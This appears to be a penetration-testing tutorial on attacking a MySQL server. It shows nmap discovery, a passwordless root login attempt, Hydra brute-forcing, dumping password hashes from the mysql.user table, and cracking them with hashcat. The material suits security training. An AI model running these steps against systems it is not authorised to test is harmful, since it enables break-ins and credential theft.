How to Use MySQL on a Security Test

MySQL is an open source database that is popular with Web developers as it is part of the LAMP architecture. We can identify a MySQL server using nmap as follows:

```
$ nmap -P0 -sT -sV -p 3306 192.168.2.13
. . . . . .
PORT         STATE    SERVICE.     VERSION
3306/tcp     open     mysql        MySQL 5.5.27
. . . . . .
$
```

Once we have identified a MySQL server then we can connect to it using the **mysql** command line tool. The first stage is to identify if a password is required. We can do this as follows, where the user we are trying to login as is root. In MySQL we use the **-h** option to specify the IP address of the server and the **-u** to specify the username.

```
$ mysql -h 192.168.2.13 -u root
Welcome to MySQL monitor. Commands end with ; or \g.
Your MySQL connection is 28
Server version:5.5.27 MySQL Community Server (GPL)
. . . . . .
MySQL [(none)]>
```

If we get an error message, then we can try to connect with a password. We do this via using the **-p** option.

```
$ mysql -h 192.168.2.13 -u root -p
```

If we do not know a valid password, then we can always try and brute force our way in via password guessing. In Kali we can do this via using Hydra as follows:

```
$ hydra -L userlist.txt -P passwordlist.txt 192.168.2.13 mysql
```

Once we have a valid username and password then we can connect to the database server and start to query the database. We list of the database and select a database as follows:

```
MySQL [(none)]>show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| mysql              |
+--------------------+
MySQL [(none)]>use mysql;
MySQL [(mysql)]>
```

Then we can access the username and passwords via the following and identify the hash type used by password.

```
MySQL [(mysql)]>select user, password from user;
+------------------+-------------------------------------------------------------+
| user             | password.                                                   |
+------------------+-------------------------------------------------------------+
| root             | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B                   |
+------------------+-------------------------------------------------------------+
MySQL [(mysql)]>
```

Once we can the passwords then we can place them in a file and use hashcat to break them, as follows. We use the "**-m 300**" option to tell hashcat that it is a native mysql password, and the "**-a 0**" option to say that it is a dictionary attack that we wish to perform. Remember that you can create your own dictionaries to use with hashcat, such as a dictionary of numbers.

```
$ cat passfile.txt
81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
$ hashcat -m 300 -a 0 passfile.txt /usr/share/wordlists/rockyou.txt
```